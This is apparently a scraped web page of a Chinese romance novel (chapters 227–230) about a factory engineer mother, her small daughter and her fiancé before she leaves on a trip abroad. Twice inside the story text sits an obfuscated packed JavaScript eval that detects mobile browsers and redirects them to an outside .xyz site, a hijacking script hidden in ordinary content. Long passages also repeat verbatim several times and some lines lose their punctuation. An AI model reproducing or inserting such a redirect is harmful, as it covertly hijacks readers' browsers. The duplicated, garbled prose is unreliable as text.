就在这时候,广播里突然响起新闻播报的声音,说我国自主研发的涤纶面料在广交会上获得了外国客商的青睐。 车间里的人们不约而同地停下手里的活,静静听着,眼角的皱纹里,盛着比阳光更亮的东西。 第227章 小桃子哭了 “攻守易型,海棠,你之前说的,我忽然相信了,我们真的可以做到。”陆良辰轻声说着,目光扫过每一张面孔。 “我们一定可以做到。”姜海棠目光坚定。 “同志们,外国人的机器不是神仙造的。他们能卡我们脖子,我们就能掰断他们的钳子!”陆良辰忽然掷地有声地说道:“从今天起,成立技术攻关小组,人员组成,等厂里研究决定。需要物资,全厂优先调配!我们以后再也不能重蹈今天的覆辙。” 工人们面面相觑,好一会儿,才有人反应过来,陆良辰说了什么。 不知谁先喊了声“干他娘的”,车间里顿时爆发出雷鸣般的应和声。 姜海棠望着陆良辰坚毅的侧脸,突然明白他为何要做出这样的决定,不是莽撞,而是一个党员的担当。 她默默从工具箱里取出自制游标卡尺,在众人惊讶的目光中走向机器核心部位。 “大家看这里,Y国人故意把公差放大0.1毫米,就是要让轴承提前报废。”她指着轴承座上一处细微的刮痕,“他们希望我们能一直被掣肘,我们要做的,就是避免被掣肘。” 有一名钳工师傅凑近一看,猛地拍大腿:“龟儿子!这是存心的!” “我建议,从现在开始,我们着力于研究机械国产化改造,对我们厂里的进口机械进行一次改造,避免以后再发生类似的情况。 对于姜海棠的这个提议,大家竟然都没有表示异议,大家都觉得,这是正常的,应该做的。 等这些事情结束,已经到了中午。 此时,车间里还残留着技术讨论的余温,但姜海棠已经迫不及待地冲出车间了。 一个月了!整整一个月! 从花城风尘仆仆回来,迎接她的就是这台卡住全厂咽喉的进口机器,连续不断地加班、调试、攻坚,让她像个陀螺一样连轴转。 她甚至没时间好好抱抱小桃子,小家伙应该很想念她了,尤其是这几天,连陆良辰都在忙着,小家伙见不到父母,会更加难过吧? 此刻,她心里都是思念,小桃子那张一个月未见、不知是胖了还是瘦了的小脸,还有想象中她委屈巴巴的眼神,愧疚感几乎将她淹没,她归心似箭。 她一路狂奔,顾不上擦去额角沁出的汗珠和沾满袖口、前襟的深色油污,直奔厂办幼儿园。 跑到幼儿园扇油漆斑驳的木门前面,小家伙们都在院子里活动。 她急切地扫视着,寻找熟悉的身影。 角落的小板凳上,一个熟悉又似乎有点陌生的小小身影背对着门口坐着,正低头玩着一个磨掉了漆的木头小鸭子,小小的肩膀耷拉着,显得格外安静,甚至有些孤单。 正是小桃子! “小桃子!”姜海棠的声音带着难以抑制的颤抖和嘶哑,脚步踉跄。 听到这日思夜想的声音,那个小小的身影猛地一僵,然后飞快地转过身来。 当看清门口那个满身油污、一脸急切和疲惫的身影时,小桃子那双大眼睛里瞬间蓄满了泪水,小嘴先是难以置信地微张着,随即猛地一瘪—— “哇——!!!” 那哭声不是委屈的控诉,而是积压了一个月的思念、不安、害怕和骤然见到亲人的巨大宣泄,像决堤的洪水,再也控制不住。 老师忽然听到小桃子哭,吓了一跳。 小桃子是很乖巧听话的孩子,平日里,鲜少有哭的时候。 “小桃子,怎么了?”老师立即小跑到小桃子跟前。 小桃子小手指着大门口:“妈妈——!妈妈——!哇啊啊啊——!” 老师顺着小桃子指的方向看过去,看到了一个脏兮兮的女人,可不就是姜海棠吗? 小桃子并不知道姜海棠已经回来了,但老师是知道姜海棠回来的,更知道,为了厂里机器,姜海棠从回来之后这几天几乎不眠不休。 看样子,是刚才忙完就过来接小桃子了。 老师心里一酸,抱起小桃子朝着大门口走来。 小桃子被老师抱着,哭得撕心裂肺,小小的身体剧烈地颤抖着,仿佛要把这一个月积攒的所有情绪都哭出来。 老师听着小家伙哭得这样凄惨,眼圈也红了。 “姜工,您可算……可算能来看孩子了!小桃子这些天啊,天天念叨着想妈妈了,连休息时候都不和小朋友一起玩,总是一个人呆呆地坐着,一声不吭,小可怜见的……” 老师说着,都忍不住心酸了起来。 小桃子这孩子,是个可怜的娃娃,也亏得陆厂长和姜工两个心善,真心实意的对待这孩子。 姜海棠的心被女儿的哭声狠狠揪住、揉碎。 她一把将那个哭得浑身滚烫、上气不接下气的小身体死死搂进怀里! 一个月分离的酸楚和此刻重逢的激烈情感汹涌而至,让她自己的眼泪也瞬间夺眶而出。 小小的人哭的姜海棠肝肠寸断,她一直都知道,小桃子因为妈妈早早离开他的缘故,是缺乏安全感的。 她也一直在拼命的想弥补小桃子,可这样的感情,是很难弥补起来的。 偏偏,再过两天,她又要离开金城…… “乖宝!妈妈的小桃子!妈妈回来了!对不起……对不起……妈妈让你等太久了……” 姜海棠的声音哽咽得不成样子,她用力的、几乎要把女儿揉进骨血般紧紧抱着,脸颊紧紧贴着女儿被泪水浸得湿透的小脸蛋,不停地、语无伦次地亲吻着她的额头、眼睛、头发。 “是妈妈不好!妈妈坏!妈妈工作太忙了……妈妈想你,妈妈……” 小桃子感受到这熟悉到灵魂深处的怀抱和妈妈滚烫的泪水,哭得更加惊天动地。 她把小脑袋深深埋在妈妈的颈窝里,小手死死攥着妈妈沾满厚重油污的工作服,指甲都抠得泛白,仿佛用尽了全身的力气,要把这一个月失去的安全感都抓回来。 小家伙哭得小脸发紫,几乎喘不上气,嘴里含糊不清地喊着:“妈妈……别……别走……桃子乖……桃子想妈妈……呜哇……” “不走不走!妈妈不走!妈妈最爱最爱小桃子了!”姜海棠心如刀绞,一边更紧地抱着女儿,一边努力平复自己的情绪,温柔地、一遍遍地安抚着。 她稍微松开一点怀抱,用沾着油污却无比温暖的手指,极其轻柔、无比珍视地擦拭着女儿脸上纵横交错的泪水、鼻涕和口水。 “妈妈……臭……臭臭的……”小桃子大概是终于哭累了,抽噎着,断断续续地小声说,小鼻子在妈妈沾满机油和金属粉尘的衣领上蹭了蹭,但那双小手依然像铁钳一样牢牢抓着妈妈的衣服,生怕一松手妈妈就会消失。 姜海棠被她这带着哭腔的童言逗得又想笑,心头的酸涩却更浓。 一个月,对大人来说也许只是繁忙,但对一个幼小的孩子来说,无异于一场漫长的煎熬。 她低头,用自己的额头抵着女儿的小额头,泪水再次滑落:“嗯,妈妈脏,妈妈身上都是机器的味道。妈妈这一个月天天和机器‘打架’,沾了一身它的臭味儿。小桃子嫌弃妈妈啦?” 小桃子使劲地摇着小脑袋,眼泪又大颗大颗滚下来,她伸出小手,笨拙地去擦妈妈脸上的泪。 她带着浓重的鼻音,无比认真地说:“不……不嫌弃……妈妈……是英雄……妈妈打坏机器的英雄……” 她似乎努力想表达从大人那里听来的、关于妈妈工作的“了不起”。 姜海棠瞬间明白了,这几天,虽然所有的人都在尽量瞒着小家伙,可是小家伙还是从大家的话里听出了蛛丝马迹,知道她已经回来了。 所以,小家伙哭得这么厉害,是不是因为自己已经回到厂里了,却没有去看她? 想到这里,姜海棠更加愧疚了,她觉得,自己可能做错了,应该让陆良辰把孩子接过来看一眼的。 女儿说她是英雄,可是“英雄”二字像一把重锤,狠狠敲在姜海棠心上。 一股难以言喻的复杂暖流瞬间冲垮了堤防,混杂着无尽的心疼、愧疚和沉甸甸的责任感。 上辈子无儿无女,她不能体会这种感觉,可是这辈子,因为小桃子,她忽然明白了,职场女性在家庭与工作之间,是多么难以平衡。 想陪着孩子,也想努力工作…… 她紧紧抱住女儿,将脸埋在女儿小小的肩头:“傻孩子……妈妈不是英雄……妈妈就是个想做好工作、想保护大家的普通工人……可妈妈最对不起的,是我的小桃子……” “妈妈,小桃子想回家!”小桃子抱着姜海棠的脖子软软的说道。 “走,我们回家。”姜海棠深深吸了一口气,仿佛要将所有疲惫和心酸都压下去,也仿佛要汲取女儿身上纯粹的生命力量。 她抱起女儿,替她仔细整理好哭得皱巴巴的小衣服,抹平她汗湿的额发,声音带着哭过后的沙哑却异常坚定,“妈妈带小桃子去吃饭。宝宝想吃什么?妈妈给你买,管够!” 小桃子依偎在妈妈久违的怀抱里,小脑袋靠在妈妈肩上,虽然还在时不时抽噎,眼睛红肿得像小桃子,但整个紧绷的小身体明显放松了下来,流露出一种失而复得的巨大安心感。 她小声地、带着点怯生生的依赖说:“吃……吃妈妈做的面条……” 一个月前妈妈离开前给她做的那碗卧着荷包蛋的面条,大概成了她这段时间记忆里最温暖的味道。 “好!”姜海棠用力点头,抱着女儿,转身向门口走去。 第228章 孩子比我们以为的坚强 母女二人红着眼睛走了没多远,就看到了陆良辰,陆良辰的手里拿着两个铝制饭盒。 显然是去食堂打饭了。 “走吧,我们回家吃饭。”陆良辰没有伸手要求抱小桃子,他知道,这时候的小桃子,不会愿意让他抱着。 可是,却没想到小桃子软软萌萌的主动开口了:“爸爸抱抱。” 陆良辰很意外的看着小丫头,不敢相信,觉得自己肯定听错了。 “妈妈累了,让妈妈休息,爸爸抱小桃子!”小丫头不哭了,说话的时候,口齿清晰。 陆良辰立即将小桃子捞过来抱在怀里:“小桃子真是乖宝宝,知道心疼妈妈了。” 可是,小桃子越是表现的乖巧懂事,姜海棠就越发的难受。 “良辰,我后悔了,不想跟着周副部长去国外考察了,怎么办?”姜海棠说话的时候,语气还有点凝涩。 “因为小桃子吗?”陆良辰问。 姜海棠艰难的点点头。 “海棠,你不要冲动,我怕你这次放弃了,以后后悔。”陆良辰思考了一下说道。 作为姜海棠未来的丈夫,他希望姜海棠能在自己喜欢的领域里发光发热,而不是成为一个只会围着丈夫和孩子转的家庭妇女。 毕竟,他的海棠是那样的优秀。 姜海棠也沉默了。 “我知道,你现在觉得很难抉择。小桃子是你割舍不下的牵挂。” “上次我们去广交会,小桃子也没有哭成这样,这一次……” “妈妈回来了,没有找小桃子,小桃子好难过。妈妈不在的时候,小桃子想妈妈,但小桃子是坚强的孩子,不会哭。”小桃子忽然瘪着小嘴开口说。 姜海棠一滞,她没想到,小桃子竟然会如此聪慧。 “小桃子,妈妈是因为太忙了,没有办法带着你,妈妈错了,以后,只要回来,不管多忙,都接你过来好吗?” 姜海棠也已经意识到自己的错误了,因此,承认错误的时候非常痛快。 小桃子懂事的点点头,头上已经歪歪斜斜的小揪揪一晃一晃地,可爱的不得了。 “小桃子,如果过几天妈妈还要外出去很远的地方工作一段时间,你留在家里可以吗?”姜海棠试探问。 “在家的时候,妈妈可以陪着小桃子睡吗?”小桃子眨巴着红红的大眼睛,像是小兔子一样。 姜海棠只觉得整颗心都软了。 姜海棠听到女儿稚嫩的问题,喉咙像被一团棉花堵住。 她的乖宝宝,怎么可以这样可爱呢? 她手指轻轻抚过小桃子哭得发烫的小脸蛋,缓缓回答:“当然可以!以后,只要妈妈在家,小桃子随时可以和妈妈一起睡。” 她声音轻柔得像羽毛,却带着不容置疑的坚定。 “以后,妈妈只要在家,每天晚上都陪小桃子睡觉,给小桃子讲故事,唱儿歌,好不好?” 小桃子眼睛倏地亮了起来,像两颗被雨水洗过的黑葡萄,她伸出小拇指:“拉钩!” 姜海棠的指尖微微发抖,勾住那根细嫩的小手指。 当母女二人的指尖相触时,她忽然意识到——这是女儿第一次主动和她定下约定。 一个月前离开时,小桃子还只是懵懂地挥手说“妈妈再见”。 “拉钩上吊,一百年不许变!”小桃子认真地晃着小手,突然想起什么似的补充道:“爸爸作证!” 陆良辰一手稳稳抱着女儿,一手提着饭盒,闻言轻笑出声:“好,爸爸作证。要是妈妈说话不算数,爸爸就……” 他故意拖长音调,惹得小桃子好奇地仰起脸。 “就怎么呀?” “就惩罚妈妈!”陆良辰故意说道。 谁知道,小家伙立即表示强烈反对:“不行不行,爸爸不可以惩罚妈妈,妈妈是世界上最好的妈妈。” 陆良辰没忍住笑了:“你个小丫头,白疼你了。” “才没有哦,小桃子也喜欢爸爸,爸爸是世界上最好的爸爸。”小桃子可可爱爱,还在陆良辰的脸上吧唧亲了一口。 陆良辰瞬间觉得,所有的疲惫都消失不见了。 小桃子咯咯笑起来,一家三口沿着厂区林荫道慢慢走着。 五月的风裹胁着槐花香,拂过姜海棠沾着油污的发梢。 她突然发现路边的蒲公英已经结籽,记得离开时还是金灿灿的花海。 这一个月,她错过了多少女儿成长的瞬间? “妈妈看!”小桃子突然在陆良辰怀里扭动身子,小手兴奋地指向路边,“小蚂蚁搬家!” 姜海棠顺着女儿手指的方向蹲下。 一队蚂蚁正扛着食物碎屑横穿路面,阳光下像流动的细线。 这样寻常的景象,却因为女儿惊喜的语调变得弥足珍贵。 “它们是在为下雨做准备。”姜海棠轻声解释,指尖虚点着蚂蚁队伍,“就像妈妈要去国外学习新技术,是为了……” “为了造更好的机器!为我们过更好的生活做准备。“小桃子突然接话,眼 睛亮晶晶的。 姜海棠诧异地问:“这些话是谁给你说的?” “老师教我的,我说想妈妈了,老师就告诉我,妈妈努力工作,是为了为了造更好的机器!为我们过更好的生活做准备。老师还说,妈妈是很厉害很厉害的人。” 姜海棠怔住了,她没想到托儿所的阿姨会用这样的方式向女儿解释她的远行。 陆良辰适时的插话:“就像小桃子在幼儿园学儿歌,回来唱给爸爸妈妈听一样。” “那妈妈也要学新歌吗?”小桃子天真地问。 “妈妈要做的事,可比儿歌厉害多了。”陆良辰颠了颠怀里的女儿,声音不自觉地带上骄傲,“妈妈要学怎么造不用外国零件的机器。等妈妈回来,咱们厂的机器就都能说中国话了,再也不会不听我们的话了。” 小桃子似懂非懂地点头,突然搂住陆良辰的脖子小声说:“那爸爸要每天给妈妈写信,小桃子要画很多画等妈妈回来了看。” “好,爸爸有时间就陪着小桃子给妈妈写信画画好不好?” 姜海棠的视线突然模糊了。 她快步走到前面,假装整理被风吹乱的头发,实则悄悄抹去眼角的湿润。 身后传来陆良辰逗女儿的声音:“要不要画只大飞机?这样妈妈就能坐着它快点回家……” 一家三口很快走到了小院子里,离开一个多月,院子里的蔬菜长得郁郁葱葱,墙角陆良辰种上的蔷薇已经开始抽出枝条,顺着墙壁攀爬,一个个花骨朵儿掩映在绿色的枝叶里,十分漂亮。 “到家了。我们吃饭好不好啊?今天张爷爷给我们小桃子做了小桃子最喜欢吃的红烧丸子!”陆良辰轻声说着将小女儿放在院子里。 小桃子一落地,就蹦蹦跳跳地跑到屋里去了。 很快,她又哒哒哒地跑出来,怀里抱着一个铁皮饼干盒,献宝似的举到姜海棠面前:“给妈妈留的!” 盒子里整齐排列着十几块有些融化的动物饼干。有的缺了耳朵,有的少了尾巴,一看就是被小心啃过的。 “这是……”姜海棠疑惑地拿起一块兔子形状的饼干。 “爸爸妈妈给小桃子寄过来的饼干,小桃子每样都给你留了。”陆良辰放下饭盒,声音有些哑,“她说她喜欢吃的饼干,妈妈肯定也喜欢。” 姜海棠再也忍不住,跪地将女儿紧紧搂住。小桃子身上淡淡的奶香混合着饼干甜腻的气息,成了这世上最治愈的味道。 她感觉到女儿的小手在自己背上轻轻拍打,就像自己平时安 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934328|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 慰她那样。 “妈妈不哭,小桃子都不哭了。小桃子会把好吃的都给妈妈留着。”小桃子的声音软软的。 陆良辰蹲下来,宽厚的手掌同时覆住妻女的肩头。三个人的影子在午后的阳光下融成一团,分不清彼此。 这平常至极的动静,此刻却让姜海棠心头涌起难以言喻的眷恋。 她觉得,自己还没有出发,却已经开始思念了。 一家三口开始吃饭, 饭桌上,小桃子执意要坐在父母中间。 她一会儿给妈妈夹一筷子鸡蛋,一会儿又往爸爸碗里放丸子,忙得不亦乐乎。 姜海棠看着女儿用儿童筷笨拙却认真地分菜,伸手摸摸小丫头的头发。 “妈妈放心去工作!”小桃子嘴里含着饭,说得含糊却坚定,“小桃子和爸爸会照顾好我们家的,我们在家里等着妈妈回来!” 姜海棠望向陆良辰,对方冲她轻轻点头。 “我们的小桃子,比想象中的还要坚强,还要厉害呢。”陆良辰骄傲的说道。 姜海棠点头,或许孩子真的比大人以为的要懂事和坚强许多。 “下午我请假,陪陪小桃子吧。” “妈妈下午去工作,小桃子去上学,妈妈晚上来接小桃子就好了!” 第229章 我想…… 小桃子十分乖巧地说着还挥手和姜海棠道别。 姜海棠看着如此懂事的小丫头立即上前抱着她说:“那妈妈送我们小桃子上学可好?” 她马上又要出发也想多与女儿在一起相处一会儿。 接下来的两天姜海棠只要有时间就和小桃子在一起小桃子每天开心的想要飞起母女两个愉快的相处弄得陆良辰都有点儿吃醋了。 “海棠你好不容易在家里待几天怎么就牵挂着小桃子都不管我。” 姜海棠没好气地瞪了他一眼说道:“你也好意思多大的人了和小桃子争这个。” 姜海棠话虽然这么说可到底心里有些不忍握住陆良辰的手说道:“我晚上给你做你喜欢的红烧肉可好?” “别买肉了家里的肉票都存起来你走的时候带上。” 姜海棠被陆良辰这话给逗笑了她说道:“我这一次要出国咱们国内的肉票在外国可没用。” 陆良辰这才拍拍脑袋说:“看我都糊涂了。你去过国外要多带点钱人常说穷家富路的我看看咱们还有多少钱你都带上。” 姜海棠看着这样的陆良辰没忍住抱住他的脑袋在他的额头上轻轻的啄了一口。 姜海棠这蜻蜓点水的一吻刚落陆良辰挺拔的身子立刻绷得笔直比当初在军营接受检阅的时候还要僵硬。 他晒得黝黑的脸庞瞬间涨红手里攥着的肉票“哗啦“散了一地。 “海棠我想说让你注意影响!”他咽了咽口水声音里都是慌乱:“可是我更想抱着你亲一口。” 姜海棠被他直白的话惊得耳尖发烫还没来得及反应陆良辰已经一把扣住她的手腕力道大得让她踉跄了一下整个人被他拽进怀里。 他身上的气息扑面而来混合着淡淡的机油和阳光晒过的棉花的味道。 他的胸膛滚烫心跳声震耳欲聋姜海棠甚至能感觉到他胸腔里那股压抑不住的冲动。 “陆良辰你……”她刚想说话他的唇就已经压了下来。 这个吻很轻带着试探和克制像是怕碰碎了她。 他的唇有些干燥蹭过她的唇瓣时微微发颤 姜海棠睁大了眼睛手指无意识地攥紧了他的衣服。 院外传来家属院孩子的嬉闹声陆良辰猛地惊醒迅速退开半步喉结滚动嗓音低哑得不像话:“……对不起我冲动了。” 姜海棠的脸红得像熟透 的海棠果,嘴唇还残留着他触碰的温度。她抿了抿唇,小声嘟囔:“……你倒是亲完才想起来道歉。” 陆良辰一愣,随即低笑出声,胸腔震动,带着几分痞气:“那要不……再亲一次?” “想得美!”姜海棠羞恼地推了他一把,却被他反手握住手腕,指腹轻轻摩挲着她的腕骨,眼神炽**让她心跳加速。 “海棠。”他嗓音低沉,带着军人特有的坚定,“我等不了了,我好想现在就和你结婚。” 姜海棠红着脸没说话。 陆良辰接着说:“等你从德国回来,我们就结婚,那时候,我就可以光明正大地亲你了。” 姜海棠被陆良辰弄得整个人都有些迷糊,她红着面颊,低头掩饰自己发红的羞涩,轻哼一声:“谁要嫁给你……” “不嫁我嫁谁?”他挑眉,拇指蹭过她的指尖,语气霸道又温柔,“咱们可是订过婚的,你想反悔都不行!” 姜海棠嘴角不受控制地上扬,她羞涩地挣开他的手。 “被别人看到了不好。” “我们家里,不会有人看到。”陆良辰语气暗哑的说。 他抬手摸了摸自己的唇,眼里全是笑意。 这一吻,他等太久了。 可是,亲了她,他好像还是不满足,还是想要更多…… 姜海棠其实也有些不敢相信刚才发生的一切。 陆良辰真的…… 她摸了一下自己的嘴巴,刚才那温润火热的触感还在。 她没忍住砸吧了一下嘴巴。 姜海棠意识到自己在想什么的时候,立即说:“我去接小桃子。” 说罢,她转身就跑带着几分落荒而逃的意。 陆良辰一把将姜海棠拽了回来,姜海棠再次跌入陆良辰的怀抱。 “等等。”他声音压得极低,喉结滚动两下。 姜海棠看着他这样,一点都不怀疑,他会再度亲上来。 “我们不能……” 陆良辰立即松开姜海棠说:“我只是想说,批文今天到厂办了,我给你带过来了。” 陆良辰从中山装内袋掏出个牛皮纸信封,信封边角平整如新,火漆封口处还带着体温。 打开信封,姜海棠指尖摩挲着纸上“赴D国技术考察”的字样,摩挲着落款处工业部的钢印。 陆良辰军姿笔挺地站着,目光却柔软地落在她发梢:“周副部长给你加急批下来的,签证也统一办好了,你提前去京城,和周副部长他们汇合。” 说 了这会儿话陆良辰澎湃的情绪总算平复了下来。 “谢谢你能支持我良辰。”姜海棠目光灼灼的看着陆良辰。 她何其有幸遇到了陆良辰这样一个男人。 不要说这个年代的男人就算是后世的男人也大都不会支持女人搞事业可是陆良辰却能一直坚定地支持她的工作。 “我是你未来的丈夫支持你不是应该的吗?”陆良辰笑着说语气里都是包容和宠溺。 在这样温柔的目光里姜海棠没有忍住纤细的手轻轻攀上陆良辰的脖颈指尖触到他后颈处短短的头发茬微微发痒。 她踮起脚尖仰起脸慢慢靠近他。 午后的阳光透过梧桐树叶的间隙在她脸上投下细碎的光斑睫毛在脸颊上投下一小片颤动的阴影。 陆良辰的呼吸明显一滞喉结上下滚动。 他想要后退却被她勾着脖子拉近。两人的鼻尖几乎相触他能闻到她身上淡淡的肥皂香味道干净而又温馨。 “海棠……”他嗓音发紧双手悬在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小桃子立刻回答:“玩的时候有点热,其他时候不热!” 小丫头开心地蹦跶着,还不忘记问:“妈妈,我们今天晚上吃什么?” “晚上吃鸡蛋饼好不好?” “小桃子吃鸡蛋饼,我要吃葱花饼,多多放葱的那种。” 姜海棠笑着说:“好,再给你们做个疙瘩汤。” 小桃子立即提供情绪价值:“妈妈做的饭都好吃。” 姜海棠摸摸女儿的头顶,笑得一脸温柔。 等姜海棠再抬头,忽然说:“良辰,你这件衣服晚上给我,扣子有些松了,我帮你重新钉一下。” “啊?那颗?”他下意识整了整衣服,果然看到其中一颗扣子要掉不掉。 “有媳妇关心真好!”陆良辰憨憨地笑着,满心满眼都是眼前的身影。 第230章 使命 三天后的清晨,金城火车站笼罩在薄薄的晨雾中。 姜海棠穿着藏蓝色“的确良”衬衫,拎着帆布行李包,站在月台上。 远处传来蒸汽机车的轰鸣声,铁轨微微震颤,列车即将进站。 陆良辰一身笔挺的军绿色干部装,一手抱着还在揉眼睛的小桃子,一手提着装满吃食的网兜。 “妈妈真的要走吗?”小桃子趴在陆良辰肩头,声音带着刚睡醒的软糯,还有一些不舍得。 妈妈才刚回来几天啊,怎么就要走了呢? 姜海棠心里软得一塌糊涂,她接过女儿,在她红扑扑的小脸上亲了又亲。 “妈妈很快就回来,给你带会眨眼睛的洋娃娃。小桃子在家要乖乖听爸爸的话哦!” “好,妈妈,小桃子会乖乖的。”小桃子竖起一根手指,突然想起什么似的,从口袋里掏出个用手帕包着的东西,“给妈妈的!” 手帕里是三块小桃子最爱吃的动物饼干,姜海棠鼻子一酸,小丫头怎么可以这样招人稀罕呢? “妈妈的宝贝,妈妈会想你的。” “呜——”汽笛长鸣,绿皮列车喷吐着白烟缓缓进站。 站台上顿时人声鼎沸,拎着大包小包的旅客开始涌动。 姜海棠心中虽然不忍,还是将女儿递给陆良辰。 陆良辰把网兜递给姜海棠:“煮鸡蛋十个,葱花饼五张,一罐牛肉酱,五根黄瓜,都是张师傅给你准备的,够吃到京城了,老头子说,等你回来了,给你做好吃的。” “你帮我谢谢他。” 陆良辰点头,又顿了顿,从内袋掏出个牛皮纸信封,“这是全国粮票二十斤,工业券五张,你……” “我用不了这么多,你不是都给我很多钱了吗?”姜海棠推回去,“再说了,我们出去学习,部里都安排好了。” “穷家富路,就算出国不用,在京城的时候,说不定也能用得到。”陆良辰固执地塞进她包里。 “我到了京城,会抽时间帮你去看看家人的,我也会去看看……” 陆良辰点头:“应该的,你去陪陪姜爷爷,他会很开心。” 列车员开始吹哨催促,姜海棠匆忙把东西收好,最后亲了亲小桃子的脸颊。 陆良辰突然上前一步,借着帮她整理衣领的动作,在她耳边飞快地说:“每周三厂办能接到国际长途,我等你电话。” 姜海棠立即听明白了,这估计是陆良辰想办法申请的。 “旅客同志们请注意,开往京城的T18 次列车即将发车……” 广播里传来字正腔圆的播报声。 